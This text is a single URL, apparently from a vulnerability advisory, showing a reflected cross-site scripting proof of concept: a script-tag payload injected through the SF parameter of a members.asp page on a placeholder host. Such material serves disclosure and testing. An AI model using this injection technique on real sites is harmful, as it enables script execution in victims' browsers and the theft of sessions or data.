http://www.example.com/[path]/members.asp?SF="><script>alert(1);</script>